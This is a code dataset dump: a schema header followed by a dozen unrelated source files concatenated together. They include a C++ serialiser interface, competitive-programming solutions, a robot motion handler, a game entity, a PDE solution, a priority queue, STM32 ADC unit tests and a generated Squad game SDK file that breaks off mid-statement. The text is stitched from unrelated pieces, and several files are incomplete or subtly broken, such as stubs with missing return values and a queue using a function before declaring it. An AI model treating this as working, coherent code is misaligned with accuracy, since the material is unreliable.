hexsha
stringlengths
40
40
size
int64
7
1.05M
ext
stringclasses
13 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
269
max_stars_repo_name
stringlengths
5
109
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
9
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
269
max_issues_repo_name
stringlengths
5
116
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
9
max_issues_count
int64
1
48.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
269
max_forks_repo_name
stringlengths
5
116
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
9
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
7
1.05M
avg_line_length
float64
1.21
330k
max_line_length
int64
6
990k
alphanum_fraction
float64
0.01
0.99
author_id
stringlengths
2
40
38cbe78dada4b87d22d9b9884fc22fc01fa6b9fa
836
hpp
C++
engine/include/Serialiser/ISerialiser.hpp
BigETI/NoLifeNoCry
70ac2498b5e740b2b348771ef9617dea1eed7f9c
[ "MIT" ]
5
2020-11-07T23:38:48.000Z
2021-12-07T11:03:22.000Z
engine/include/Serialiser/ISerialiser.hpp
BigETI/NoLifeNoCry
70ac2498b5e740b2b348771ef9617dea1eed7f9c
[ "MIT" ]
null
null
null
engine/include/Serialiser/ISerialiser.hpp
BigETI/NoLifeNoCry
70ac2498b5e740b2b348771ef9617dea1eed7f9c
[ "MIT" ]
null
null
null
#pragma once #include <memory> /// @brief Dirt Machine game engine serialiser namespace namespace DirtMachine::Serialiser { /// @brief Serialiser class /// @tparam TObject Object type /// @tparam TInput Input type /// @tparam TOutput Output type template <typename TObject, typename TInput, typename TOutput> class ISerialiser { public: /// @brief Serialise object /// @param object Object to serialise /// @return Serialised object virtual TOutput SerialiseObject(const TObject& object) = 0; /// @brief Deserialise object /// @param input Input to deserialise /// @return Deserialise input if successful, otherwise "nullptr" virtual std::shared_ptr<TObject> DeserialiseObject(TInput input) = 0; ISerialiser& operator=(const ISerialiser&) = delete; ISerialiser& operator=(ISerialiser&&) = delete; }; }
26.967742
71
0.729665
BigETI
38cfb3fdad95e2d397f445e0860badecf2890851
606
cpp
C++
mame/src/osd/nitro/nitrostub.cpp
nitrologic/emu
be2c9b72d81c3aea85ad4fd18fa4f731b31f338a
[ "Unlicense" ]
null
null
null
mame/src/osd/nitro/nitrostub.cpp
nitrologic/emu
be2c9b72d81c3aea85ad4fd18fa4f731b31f338a
[ "Unlicense" ]
null
null
null
mame/src/osd/nitro/nitrostub.cpp
nitrologic/emu
be2c9b72d81c3aea85ad4fd18fa4f731b31f338a
[ "Unlicense" ]
null
null
null
#ifdef WIN32 #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <nitro.h> struct nitroFolder{ HANDLE handle; WIN32_FIND_DATA raw; }; int nitroOpenDir(const char *path){ WIN32_FIND_DATA result; FindFirstFile(path, &result); return 0; } #else #include <nitro.h> #include <dirent.h> struct nitroFolder{ DIR *dir; }; int nitroOpenDir(const char *path){ DIR *dir=opendir(path); return 0; } #endif const char *nitroDirEntry(int dirHandle){ return 0; } int nitroDirEntryType(int dirHandle){ return 0; } void nitroDirClose(int dirHandle){ }
13.466667
42
0.674917
nitrologic
38d04fcbbc292092bad9ce83703ef07f599420e4
200
cpp
C++
UVa Online Judge (UVa)/Volume 115/11597 - Spanning Subtree.cpp
sreejonK19/online-judge-solutions
da65d635cc488c8f305e48b49727ad62649f5671
[ "MIT" ]
null
null
null
UVa Online Judge (UVa)/Volume 115/11597 - Spanning Subtree.cpp
sreejonK19/online-judge-solutions
da65d635cc488c8f305e48b49727ad62649f5671
[ "MIT" ]
null
null
null
UVa Online Judge (UVa)/Volume 115/11597 - Spanning Subtree.cpp
sreejonK19/online-judge-solutions
da65d635cc488c8f305e48b49727ad62649f5671
[ "MIT" ]
2
2018-11-06T19:37:56.000Z
2018-11-09T19:05:46.000Z
#include <cstdio> #include <iostream> using namespace std; int main() { int n, ncase = 0; while( cin >> n && n ) cout << "Case " << ++ncase << ": " << n/2 << endl; return 0; }
13.333333
58
0.49
sreejonK19
38db6d44adf9f0085fde32981499bdffeb63d667
2,000
cpp
C++
src/motion_handlers/player_motion_handler.cpp
elainedo/RobotSimulation
67903eca770ac961c2df31150d578a1a21145e0b
[ "MIT" ]
1
2021-03-23T15:54:57.000Z
2021-03-23T15:54:57.000Z
src/motion_handlers/player_motion_handler.cpp
elainedo/RobotSimulation
67903eca770ac961c2df31150d578a1a21145e0b
[ "MIT" ]
null
null
null
src/motion_handlers/player_motion_handler.cpp
elainedo/RobotSimulation
67903eca770ac961c2df31150d578a1a21145e0b
[ "MIT" ]
null
null
null
#include "player_motion_handler.h" /******************************************************************************* * Constructors/Destructor ******************************************************************************/ PlayerMotionHandler::PlayerMotionHandler() : max_speed_(100), max_angle_(360) { } /******************************************************************************* * Member Functions ******************************************************************************/ void PlayerMotionHandler::AcceptCommand(enum motion_commands cmd) { // avoid command if robot is frozen if (time_to_unfreeze > 0) return; switch (cmd) { case kTurnLeft: set_heading_angle(get_heading_angle() - 10); break; case kTurnRight: set_heading_angle(get_heading_angle() + 10); break; case kSpeedUp: if (get_speed()+5 <= get_max_speed()) set_speed(get_speed() + 5); else set_speed(get_max_speed()); break; case kSlowDown: if (get_speed()-5 >= 0) set_speed(get_speed() - 5); else set_speed(0); break; default: std::cerr << "FATAL: bad actuator command" << std::endl; assert(0); } /* switch() */ } /* accept_command() */ void PlayerMotionHandler::UpdateVelocity(std::vector<class Sensor*> sensors) { time_to_unfreeze = time_to_unfreeze - 1; if (time_to_unfreeze > 0) return; if (time_to_unfreeze == 0) set_speed(5); for (auto sensor : sensors) { if (sensor->get_type() == kSensorTouch) { if (sensor->activated()) { if (sensor->get_entity_type() == kSuperBot) { set_speed(0); time_to_unfreeze = 30; } } if (sensor->activated()) { set_heading_angle(- sensor->Output()); } } } }
32.258065
80
0.451
elainedo
38e61e5e079bfc0d12e5b2822cbeec4a316ee50d
2,189
cpp
C++
Thalassa/Motor2D/j1MovingObstacle.cpp
xavimarin35/PlatformerDev
98565270f5c62c1a47103bb413ef377e124b35ec
[ "MIT" ]
1
2020-07-04T11:04:52.000Z
2020-07-04T11:04:52.000Z
Thalassa/Motor2D/j1MovingObstacle.cpp
xavimarin35/PlatformerDev
98565270f5c62c1a47103bb413ef377e124b35ec
[ "MIT" ]
null
null
null
Thalassa/Motor2D/j1MovingObstacle.cpp
xavimarin35/PlatformerDev
98565270f5c62c1a47103bb413ef377e124b35ec
[ "MIT" ]
2
2019-12-27T12:14:20.000Z
2020-09-05T16:01:29.000Z
#include "j1App.h" #include "j1MovingObstacle.h" #include "j1Textures.h" #include "j1Render.h" #include "j1Input.h" #include "j1Collisions.h" #include "j1Window.h" #include "j1Player.h" #include "j1Audio.h" #include "j1EntityManager.h" #include "Brofiler/Brofiler.h" j1MovingObstacle::j1MovingObstacle(int x, int y, ENTITY_TYPE type) : j1Entity(x, y, ENTITY_TYPE::OBSTACLE) { animation = NULL; Properties(); topHeight = y - variation; lowHeight = y + variation; idle.LoadAnimations("movingObstacle"); } j1MovingObstacle::~j1MovingObstacle() {} bool j1MovingObstacle::Start() { sprites = App->tex->Load("textures/spikes.png"); speed = { movement.x, movement.y }; animation = &idle; collider = App->collisions->AddCollider({ (int)position.x, (int)position.y, hitbox, hitbox }, COLLIDER_DEATH, App->entity_manager); return true; } bool j1MovingObstacle::Update(float dt) { BROFILER_CATEGORY("MovingObstacle_Update", Profiler::Color::Black) if (position.y <= topHeight) { movingDown = true; movingUp = false; } else if (position.y >= lowHeight) { movingUp = true; movingDown = false; } if (movingDown) position.y += speed.y * dt; else if (movingUp) position.y -= speed.y * dt; if (collider != nullptr) collider->SetPos(position.x + adjust, position.y + adjust); BlitEntity(animation->GetCurrentFrame(dt), SDL_FLIP_NONE); return true; } bool j1MovingObstacle::CleanUp() { App->tex->UnLoad(sprites); if (collider != nullptr) { collider->to_delete = true; collider = nullptr; } return true; } void j1MovingObstacle::Properties() { pugi::xml_document config_file; config_file.load_file("config.xml"); pugi::xml_node config; config = config_file.child("config"); pugi::xml_node nodeObstacle; nodeObstacle = config.child("entities"); variation = nodeObstacle.child("obstacleVariation").attribute("value").as_int(); movement = { nodeObstacle.child("obstacleSpeed").attribute("x").as_float(), nodeObstacle.child("obstacleSpeed").attribute("y").as_float() }; hitbox = nodeObstacle.child("obstacleCollider").attribute("value").as_int(); adjust = nodeObstacle.child("obstacleAdjust").attribute("value").as_int(); }
22.111111
141
0.712197
xavimarin35
38e87cd9659b0e307d218c587cb8091f79357964
470
hpp
C++
Source/Musa/RenderPipeline/DeferredRenderPipeline.hpp
frobro98/Musa
6e7dcd5d828ca123ce8f43d531948a6486428a3d
[ "MIT" ]
null
null
null
Source/Musa/RenderPipeline/DeferredRenderPipeline.hpp
frobro98/Musa
6e7dcd5d828ca123ce8f43d531948a6486428a3d
[ "MIT" ]
null
null
null
Source/Musa/RenderPipeline/DeferredRenderPipeline.hpp
frobro98/Musa
6e7dcd5d828ca123ce8f43d531948a6486428a3d
[ "MIT" ]
null
null
null
// Copyright 2020, Nathan Blane #pragma once #include "Containers/DynamicArray.hpp" struct View; struct RenderView; struct FrameRenderTargets; class RenderContext; struct RenderTarget; namespace DeferredRender { void Render(RenderContext& renderContext, const DynamicArray<RenderView*>& views, const FrameRenderTargets& frameTargets); void ComposeBackbuffer(RenderContext& context, const RenderTarget& sceneColor, const RenderTarget& uiColor, const View& view); }
23.5
126
0.814894
frobro98
38eb5b45214fe6a52f57dce4e9f205e1719a558e
2,499
cpp
C++
src/PointwiseFunctions/AnalyticSolutions/Burgers/Step.cpp
macedo22/spectre
97b2b7ae356cf86830258cb5f689f1191fdb6ddd
[ "MIT" ]
2
2021-04-11T04:07:42.000Z
2021-04-11T05:07:54.000Z
src/PointwiseFunctions/AnalyticSolutions/Burgers/Step.cpp
macedo22/spectre
97b2b7ae356cf86830258cb5f689f1191fdb6ddd
[ "MIT" ]
4
2018-06-04T20:26:40.000Z
2018-07-27T14:54:55.000Z
src/PointwiseFunctions/AnalyticSolutions/Burgers/Step.cpp
macedo22/spectre
97b2b7ae356cf86830258cb5f689f1191fdb6ddd
[ "MIT" ]
1
2019-01-03T21:47:04.000Z
2019-01-03T21:47:04.000Z
// Distributed under the MIT License. // See LICENSE.txt for details. #include "PointwiseFunctions/AnalyticSolutions/Burgers/Step.hpp" #include <pup.h> #include "DataStructures/DataVector.hpp" // IWYU pragma: keep #include "DataStructures/Tensor/Tensor.hpp" #include "Utilities/GenerateInstantiations.hpp" #include "Utilities/MakeWithValue.hpp" #include "Utilities/Math.hpp" // IWYU pragma: keep // IWYU pragma: no_forward_declare Tensor namespace Burgers { namespace Solutions { Step::Step(const double left_value, const double right_value, const double initial_shock_position, const Options::Context& context) : left_value_(left_value), right_value_(right_value), initial_shock_position_(initial_shock_position) { if (left_value <= right_value) { PARSE_ERROR(context, "Shock solution expects left_value > right_value"); } } template <typename T> Scalar<T> Step::u(const tnsr::I<T, 1>& x, const double t) const noexcept { const double current_shock_position = initial_shock_position_ + 0.5 * (left_value_ + right_value_) * t; return Scalar<T>(left_value_ - (left_value_ - right_value_) * step_function(get<0>(x) - current_shock_position)); } template <typename T> Scalar<T> Step::du_dt(const tnsr::I<T, 1>& x, const double /*t*/) const noexcept { return make_with_value<Scalar<T>>(x, 0.0); } tuples::TaggedTuple<Tags::U> Step::variables(const tnsr::I<DataVector, 1>& x, const double t, tmpl::list<Tags::U> /*meta*/) const noexcept { return {u(x, t)}; } tuples::TaggedTuple<::Tags::dt<Tags::U>> Step::variables( const tnsr::I<DataVector, 1>& x, const double t, tmpl::list<::Tags::dt<Tags::U>> /*meta*/) const noexcept { return {du_dt(x, t)}; } void Step::pup(PUP::er& p) noexcept { p | left_value_; p | right_value_; p | initial_shock_position_; } } // namespace Solutions } // namespace Burgers #define DTYPE(data) BOOST_PP_TUPLE_ELEM(0, data) #define INSTANTIATE(_, data) \ template Scalar<DTYPE(data)> Burgers::Solutions::Step::u( \ const tnsr::I<DTYPE(data), 1>& x, double t) const noexcept; \ template Scalar<DTYPE(data)> Burgers::Solutions::Step::du_dt( \ const tnsr::I<DTYPE(data), 1>& x, double t) const noexcept; GENERATE_INSTANTIATIONS(INSTANTIATE, (double, DataVector)) #undef DTYPE #undef INSTANTIATE
32.038462
80
0.660664
macedo22
38eba04c71360f80a10e7d3f234dbbb4f92e7957
668
hh
C++
src/get_path_for_type.hh
YuryBandarchuk16/hh-apidoc
996f8a606193fb111929d9e1b48ae772b0d1b12b
[ "MIT" ]
null
null
null
src/get_path_for_type.hh
YuryBandarchuk16/hh-apidoc
996f8a606193fb111929d9e1b48ae772b0d1b12b
[ "MIT" ]
null
null
null
src/get_path_for_type.hh
YuryBandarchuk16/hh-apidoc
996f8a606193fb111929d9e1b48ae772b0d1b12b
[ "MIT" ]
null
null
null
<?hh // strict /* * Copyright (c) 2018-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * */ namespace Facebook\HHAPIDoc; /** Get the path for something being used as a type. * * This might be a class, interface, trait, or type alias. */ function get_path_for_type( IPathProvider<?string> $p, string $name, ): ?string { return $p->getPathForClass($name) ?? $p->getPathForInterface($name) ?? $p->getPathForTrait($name) ?? $p->getPathForTransparentTypeAlias($name) ?? $p->getPathForOpaqueTypeAlias($name); }
24.740741
67
0.681138
YuryBandarchuk16
38ef9f47b023bd7e0e9b01394c4d2c25014409f5
2,437
hpp
C++
queue.hpp
praktikum-tiunpad-2021/tugas-08a-bagus2705
dc2f1fb3bb770db859c5c7ff1ce017a4a27ffd67
[ "MIT" ]
null
null
null
queue.hpp
praktikum-tiunpad-2021/tugas-08a-bagus2705
dc2f1fb3bb770db859c5c7ff1ce017a4a27ffd67
[ "MIT" ]
null
null
null
queue.hpp
praktikum-tiunpad-2021/tugas-08a-bagus2705
dc2f1fb3bb770db859c5c7ff1ce017a4a27ffd67
[ "MIT" ]
null
null
null
#pragma once namespace strukdat { namespace priority_queue { /** * @brief Implementasi struct untuk elemen, harus ada isi dan prioritas elemen. */ template <typename T> struct Element { int data; int prioritas; Element * next; }; template <typename T> using ElementPtr = Element<T> *; /** * @brief implemetasi struct untuk queue. */ template <typename T> struct Queue { ElementPtr<T> Head; ElementPtr<T> Tail; }; /** * @brief membuat queue baru * * @return queue kosong */ template <typename T> Queue<T> new_queue() { Queue<T> baris; baris.Head=nullptr; baris.Tail=nullptr; return baris; } /** * @brief memasukan data sesuai priority elemen. * * @param q queue yang dipakai. * @param value isi dari elemen. * @param priority prioritas elemen yang menentukan urutan. */ template <typename T> void enqueue(Queue<T> &q, const T &value, int priority) { ElementPtr<T> baru=nullptr; baru=new Element<T>; baru->data=value; baru->prioritas=priority; baru->next=nullptr; ElementPtr<T> prev=nullptr; ElementPtr<T>help=q.Head; if(IsEmpty(q)){ q.Head=baru; q.Tail=baru; }else{ while (help->next != NULL &&help->prioritas >=priority) { prev = help; help = help->next; }if(help==q.Tail&&help->prioritas>priority){ help->next=baru; q.Tail=baru; }else if(help==q.Head&&help->prioritas<priority){ baru->next=help; q.Head=baru; }else if(help->prioritas==priority){ baru->next=help->next; help->next=baru; } else { baru->next = help; prev->next = baru; } } } /** * @brief mengembalikan isi dari elemen head. * * @param q queue yang dipakai. * @return isi dari elemen head. */ template <typename T> T top(const Queue<T> &q) { return q.Head->data; } /** * @brief menghapus elemen head queue (First in first out). * * @param q queue yang dipakai. */ template <typename T> void dequeue(Queue<T> &q) { ElementPtr<T> delElement; if(IsEmpty(q)){ delElement=nullptr; }else if(q.Head->next==nullptr){ delElement=q.Head; q.Head=nullptr; q.Tail=nullptr; }else{ delElement=q.Head; q.Head=q.Head->next; delElement->next=nullptr; } } template <typename T> bool IsEmpty(Queue<T> q) { if(q.Head==nullptr && q.Tail==nullptr){ return true; }else{ return false; } } } // namespace priority_queue } // namespace strukdat
19.653226
79
0.633566
praktikum-tiunpad-2021
38f46ed4a07c21e7f0dee7fc02bbcc8e78615030
332
cpp
C++
CIELDIST.cpp
trehanarsh/Codechef-Solutions
8bfd91531138a62aebcc2dffce3ad8e6a296db28
[ "MIT" ]
null
null
null
CIELDIST.cpp
trehanarsh/Codechef-Solutions
8bfd91531138a62aebcc2dffce3ad8e6a296db28
[ "MIT" ]
null
null
null
CIELDIST.cpp
trehanarsh/Codechef-Solutions
8bfd91531138a62aebcc2dffce3ad8e6a296db28
[ "MIT" ]
null
null
null
#include <bits/stdc++.h> using namespace std; int main() { int t; cin>>t; while(t--) { int a,b,c; cin>>a>>b>>c; if (c>=(a+b)) { printf("%d\n", c-(a+b)); } else if (c>=(max(a,b))-min(a,b)) { printf("0\n"); } else { printf("%d\n", max(a,b) - c - min(a,b) ); } } return 0; }
13.28
45
0.412651
trehanarsh
ac03bd0229e1ce1f736407db17dad731fd70187e
1,117
cpp
C++
driver/simple_id_mapper.cpp
lonourney/csci5570
5b364406fdec3043bf09f39a00b5be1d831bc806
[ "Apache-2.0" ]
29
2017-09-19T12:26:21.000Z
2021-03-13T01:41:13.000Z
driver/simple_id_mapper.cpp
lonourney/csci5570
5b364406fdec3043bf09f39a00b5be1d831bc806
[ "Apache-2.0" ]
3
2017-09-27T07:02:33.000Z
2018-09-21T06:58:48.000Z
driver/simple_id_mapper.cpp
lonourney/csci5570
5b364406fdec3043bf09f39a00b5be1d831bc806
[ "Apache-2.0" ]
22
2017-09-19T06:51:44.000Z
2020-06-25T05:54:00.000Z
#include "driver/simple_id_mapper.hpp" #include <cinttypes> #include <vector> #include "base/node.hpp" namespace csci5570 { SimpleIdMapper::SimpleIdMapper(Node node, const std::vector<Node>& nodes) { // TODO } uint32_t SimpleIdMapper::GetNodeIdForThread(uint32_t tid) { // TODO } void SimpleIdMapper::Init(int num_server_threads_per_node) { // TODO } uint32_t SimpleIdMapper::AllocateWorkerThread(uint32_t node_id) { // TODO } void SimpleIdMapper::DeallocateWorkerThread(uint32_t node_id, uint32_t tid) { // TODO } std::vector<uint32_t> SimpleIdMapper::GetServerThreadsForId(uint32_t node_id) { // TODO } std::vector<uint32_t> SimpleIdMapper::GetWorkerHelperThreadsForId(uint32_t node_id) { // TODO } std::vector<uint32_t> SimpleIdMapper::GetWorkerThreadsForId(uint32_t node_id) { // TODO } std::vector<uint32_t> SimpleIdMapper::GetAllServerThreads() { // TODO } const uint32_t SimpleIdMapper::kMaxNodeId; const uint32_t SimpleIdMapper::kMaxThreadsPerNode; const uint32_t SimpleIdMapper::kMaxBgThreadsPerNode; const uint32_t SimpleIdMapper::kWorkerHelperThreadId; } // namespace csci5570
23.270833
85
0.777081
lonourney
ac05b6b0a7abe94c0e21554c59fbd83d891b2ac5
4,771
cpp
C++
tests/src/devices/st/stm32f1/adc_test.cpp
onkwon/libabov
54e54f42666dc3549c10dad905a14867283de294
[ "MIT" ]
2
2021-04-14T09:22:51.000Z
2021-04-15T17:27:58.000Z
tests/src/devices/st/stm32f1/adc_test.cpp
onkwon/libabov
54e54f42666dc3549c10dad905a14867283de294
[ "MIT" ]
62
2021-03-30T11:38:05.000Z
2021-06-02T02:20:24.000Z
tests/src/devices/st/stm32f1/adc_test.cpp
onkwon/halmcu
54e54f42666dc3549c10dad905a14867283de294
[ "MIT" ]
1
2021-04-10T19:09:04.000Z
2021-04-10T19:09:04.000Z
#include "CppUTest/TestHarness.h" #include "CppUTest/TestHarness_c.h" #include "CppUTestExt/MockSupport.h" #include <string.h> #include "halmcu/periph/adc.h" #include "stm32f1.h" #include "halmcu/assert.h" extern "C" { static ADC_Type adcreg1, adcreg2, adcreg3; static RCC_Type rcc_reg; ADC_Type * const ADC1 = &adcreg1; ADC_Type * const ADC2 = &adcreg2; ADC_Type * const ADC3 = &adcreg3; RCC_Type * const RCC = &rcc_reg; } TEST_GROUP(adc) { void setup(void) { mock().ignoreOtherCalls(); memset(ADC1, 0, sizeof(*ADC1)); memset(ADC2, 0, sizeof(*ADC2)); memset(ADC3, 0, sizeof(*ADC3)); memset(RCC, 0, sizeof(*RCC)); } void teardown(void) { mock().checkExpectations(); mock().clear(); } }; TEST(adc, is_completed_ShouldReturnTrue_WhenCoversionEnd) { ADC1->SR = 2; LONGS_EQUAL(true, adc_is_completed(PERIPH_ADC1)); } TEST(adc, enable_ShouldSetADON) { adc_enable_clock(PERIPH_ADC1); LONGS_EQUAL(1, ADC1->CR2); } TEST(adc, disable_ShouldClearADON) { ADC1->CR2 = 1U; adc_disable_clock(PERIPH_ADC1); LONGS_EQUAL(0, ADC1->CR2); } TEST(adc, set_mode_ShouldSetCONT_WhenContinuousConversionModeGiven) { adc_set_mode(PERIPH_ADC2, ADC_MODE_CONTINUOUS_CONVERSION); LONGS_EQUAL(2, ADC2->CR2); adc_set_mode(PERIPH_ADC3, ADC_MODE_CONTINUOUS_CONVERSION_MULTI_CHANNEL); LONGS_EQUAL(2, ADC3->CR2); } TEST(adc, set_mode_ShouldClearCONT_WhenSingleConversionModeGiven) { ADC1->CR2 = 2; adc_set_mode(PERIPH_ADC1, ADC_MODE_SINGLE_CONVERSION); LONGS_EQUAL(0, ADC1->CR2); } TEST(adc, set_trigger_ShouldSetExtSel) { adc_set_trigger(PERIPH_ADC1, ADC_TRIGGER_MANUAL); LONGS_EQUAL(7, ADC1->CR2 >> 17); adc_set_trigger(PERIPH_ADC1, ADC_TRIGGER_TIMER1_CC1); LONGS_EQUAL(0, ADC1->CR2 >> 17); adc_set_trigger(PERIPH_ADC1, ADC_TRIGGER_EXTI11); LONGS_EQUAL(6, ADC1->CR2 >> 17); adc_set_trigger(PERIPH_ADC3, ADC_TRIGGER_MANUAL); LONGS_EQUAL(7, ADC3->CR2 >> 17); adc_set_trigger(PERIPH_ADC3, ADC_TRIGGER_TIMER3_CC1); LONGS_EQUAL(0, ADC3->CR2 >> 17); } TEST(adc, start_ShouldStartConversion) { adc_start(PERIPH_ADC1); LONGS_EQUAL(0x500000, ADC1->CR2); } TEST(adc, stop_ShouldStopConversion) { ADC1->CR2 = 2; adc_stop(PERIPH_ADC1); LONGS_EQUAL(0, ADC1->CR2); } TEST(adc, select_channel_ShouldSetSequenceLength) { adc_select_channel(PERIPH_ADC1, ADC_CHANNEL_0); LONGS_EQUAL(1, ADC1->SQR1 >> 20); adc_select_channel(PERIPH_ADC1, (adc_channel_t) (ADC_CHANNEL_0 | ADC_CHANNEL_1)); LONGS_EQUAL(2, ADC1->SQR1 >> 20); adc_select_channel(PERIPH_ADC1, (adc_channel_t) (ADC_CHANNEL_0 | ADC_CHANNEL_1 | ADC_CHANNEL_15)); LONGS_EQUAL(3, ADC1->SQR1 >> 20); } TEST(adc, select_channel_ShouldSetSequence) { adc_select_channel(PERIPH_ADC1, ADC_CHANNEL_1); LONGS_EQUAL(1, ADC1->SQR3); adc_select_channel(PERIPH_ADC1, (adc_channel_t) (ADC_CHANNEL_0 | ADC_CHANNEL_1)); LONGS_EQUAL(0x20, ADC1->SQR3); adc_select_channel(PERIPH_ADC1, (adc_channel_t) (ADC_CHANNEL_0 | ADC_CHANNEL_1 | ADC_CHANNEL_12)); LONGS_EQUAL(0x3020, ADC1->SQR3); } TEST(adc, get_measument_ShouldReturnDR) { ADC1->DR = 0xa55a; LONGS_EQUAL(0xa55a, adc_get_measurement(PERIPH_ADC1)); } TEST(adc, set_sample_time_ShouldSetSMPR) { adc_set_sample_time(PERIPH_ADC1, ADC_CHANNEL_0, 200); LONGS_EQUAL(7, ADC1->SMPR2); adc_set_sample_time(PERIPH_ADC1, ADC_CHANNEL_9, 50); LONGS_EQUAL(0x28000007, ADC1->SMPR2); adc_set_sample_time(PERIPH_ADC1, ADC_CHANNEL_13, 20); LONGS_EQUAL(0x600, ADC1->SMPR1); } TEST(adc, enable_irq_ShouldSetEOC) { adc_enable_irq(PERIPH_ADC1); LONGS_EQUAL(0x20, ADC1->CR1); } TEST(adc, disable_irq_ShouldClearEOC) { ADC1->CR1 = 0x20; adc_disable_irq(PERIPH_ADC1); LONGS_EQUAL(0, ADC1->CR1); } TEST(adc, get_event_ShouldReturnEvent) { LONGS_EQUAL(ADC_EVENT_NONE, adc_get_event(PERIPH_ADC1)); ADC1->SR = 2; LONGS_EQUAL(ADC_EVENT_COMPLETE, adc_get_event(PERIPH_ADC1)); } TEST(adc, clear_event_ShouldClearEvent) { ADC1->SR = 2; adc_clear_event(PERIPH_ADC1, ADC_EVENT_COMPLETE); LONGS_EQUAL(0, ADC1->SR); } TEST(adc, get_frequency_ShouldReturnADCPrescaledClockFrequency) { RCC->CFGR = 3U << 14; // 8 LONGS_EQUAL(125000, adc_get_frequency(PERIPH_ADC1, 1000000)); RCC->CFGR = 2U << 14; // 6 LONGS_EQUAL(166666, adc_get_frequency(PERIPH_ADC1, 1000000)); RCC->CFGR = 1U << 14; // 4 LONGS_EQUAL(250000, adc_get_frequency(PERIPH_ADC1, 1000000)); RCC->CFGR = 0; // 2 LONGS_EQUAL(500000, adc_get_frequency(PERIPH_ADC1, 1000000)); } TEST(adc, set_clock_frequency_ShouldSetADCFrequency) { adc_set_clock_frequency(PERIPH_ADC1, 125000, 1000000); LONGS_EQUAL(125000, adc_get_frequency(PERIPH_ADC1, 1000000)); adc_set_clock_frequency(PERIPH_ADC1, 250000, 1000000); LONGS_EQUAL(250000, adc_get_frequency(PERIPH_ADC1, 1000000)); adc_set_clock_frequency(PERIPH_ADC1, 2000000, 1000000); LONGS_EQUAL(500000, adc_get_frequency(PERIPH_ADC1, 1000000)); }
29.269939
73
0.765039
onkwon
f19bb116689124862d1780dcbab047f2cf15398e
7,842
cpp
C++
Cpp/SDK/W_InteractableList_VehicleBay_functions.cpp
MrManiak/Squad-SDK
742feb5991ae43d6f0cedd2d6b32b949923ca4f9
[ "Apache-2.0" ]
1
2020-08-15T08:31:55.000Z
2020-08-15T08:31:55.000Z
Cpp/SDK/W_InteractableList_VehicleBay_functions.cpp
MrManiak/Squad-SDK
742feb5991ae43d6f0cedd2d6b32b949923ca4f9
[ "Apache-2.0" ]
2
2020-08-15T08:43:56.000Z
2021-01-15T05:04:48.000Z
Cpp/SDK/W_InteractableList_VehicleBay_functions.cpp
MrManiak/Squad-SDK
742feb5991ae43d6f0cedd2d6b32b949923ca4f9
[ "Apache-2.0" ]
2
2020-08-10T12:05:42.000Z
2021-02-12T19:56:10.000Z
// Name: S, Version: b #include "../SDK.h" #ifdef _MSC_VER #pragma pack(push, 0x01) #endif /*!!HELPER_DEF!!*/ /*!!DEFINE!!*/ namespace UFT { //--------------------------------------------------------------------------- // Functions //--------------------------------------------------------------------------- // Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Get Action Name // (Public, HasOutParms, HasDefaults, BlueprintCallable, BlueprintEvent, BlueprintPure) // Parameters: // class UClass* Class (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // struct FText Name (Parm, OutParm) void UW_InteractableList_VehicleBay_C::Get_Action_Name(class UClass* Class, struct FText* Name) { static auto fn = UObject::FindObject<UFunction>("Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Get Action Name"); UW_InteractableList_VehicleBay_C_Get_Action_Name_Params params; params.Class = Class; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; if (Name != nullptr) *Name = params.Name; } // Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Get Original Offset // (Public, HasDefaults, BlueprintCallable, BlueprintEvent) void UW_InteractableList_VehicleBay_C::Get_Original_Offset() { static auto fn = UObject::FindObject<UFunction>("Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Get Original Offset"); UW_InteractableList_VehicleBay_C_Get_Original_Offset_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } // Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Get Fade Animation // (Public, HasOutParms, BlueprintCallable, BlueprintEvent, BlueprintPure) // Parameters: // class UWidgetAnimation* Fade_Animation (Parm, OutParm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) void UW_InteractableList_VehicleBay_C::Get_Fade_Animation(class UWidgetAnimation** Fade_Animation) { static auto fn = UObject::FindObject<UFunction>("Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Get Fade Animation"); UW_InteractableList_VehicleBay_C_Get_Fade_Animation_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; if (Fade_Animation != nullptr) *Fade_Animation = params.Fade_Animation; } // Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Get Interact List // (Public, HasOutParms, BlueprintCallable, BlueprintEvent, BlueprintPure) // Parameters: // class UVerticalBox* InteractList (Parm, OutParm, ZeroConstructor, InstancedReference, IsPlainOldData, NoDestructor, HasGetValueTypeHash) void UW_InteractableList_VehicleBay_C::Get_Interact_List(class UVerticalBox** InteractList) { static auto fn = UObject::FindObject<UFunction>("Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Get Interact List"); UW_InteractableList_VehicleBay_C_Get_Interact_List_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; if (InteractList != nullptr) *InteractList = 